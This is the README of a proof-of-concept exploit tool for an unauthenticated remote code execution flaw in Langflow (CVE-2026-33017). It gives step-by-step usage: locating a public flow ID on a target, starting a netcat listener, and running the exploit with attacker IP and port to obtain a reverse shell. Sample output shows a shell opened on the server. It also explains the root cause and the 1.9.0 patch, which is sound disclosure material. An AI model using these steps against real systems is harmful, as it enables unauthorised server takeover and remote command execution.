
PoC exploit for CVE-2026-33017: unauthenticated remote code execution in Langflow via malicious Python Custom Component injection, with built-in reverse shell listener.
Author: dynamo2k1
Severity: Critical
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017 is a critical unauthenticated Remote Code Execution vulnerability in Langflow, an open-source platform for visually building LLM applications and AI workflows.
The vulnerable endpoint build_public_tmp accepts an attacker-supplied data field in the request body without authentication. This allows an attacker to inject an entirely custom flow definition containing a malicious Python Custom Component, whose code is executed on the server during the build process.
No credentials required. Only a valid Public flow UUID is needed.
| Status | Version |
|---|---|
| Vulnerable | Langflow < 1.9.0 |
| Patched | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
This endpoint is designed to build Public (shared) flows without authentication. In vulnerable versions, it also accepts an attacker-controlled data field in the request body, which is passed directly into the server-side build logic — including any embedded Python code in Custom Components.
pip install requests urllib3
Browse the target Langflow instance and look for a shared/public flow. The UUID appears in the URL:
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
Or use the built-in interactive listener (no separate nc needed):
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Root cause: build_public_tmp trusted the data field from the request body instead of using only the server-stored flow definition.
Patch: In Langflow 1.9.0, the data parameter was removed from build_public_tmp. External flow definitions can no longer be injected through this endpoint.
Patch commit: 73b6612
This PoC is provided for educational and authorized security research purposes only. Only use against systems you own or have explicit written permission to test.
| Flag | Description |
|---|
--url | Target Langflow base URL |
--flow-id | Public flow UUID |
--lhost | Your IP for the reverse shell callback |
--lport | Your listener port |
--listen | Use the built-in shell handler instead of external nc |
--timeout | HTTP request timeout in seconds (default: 30) |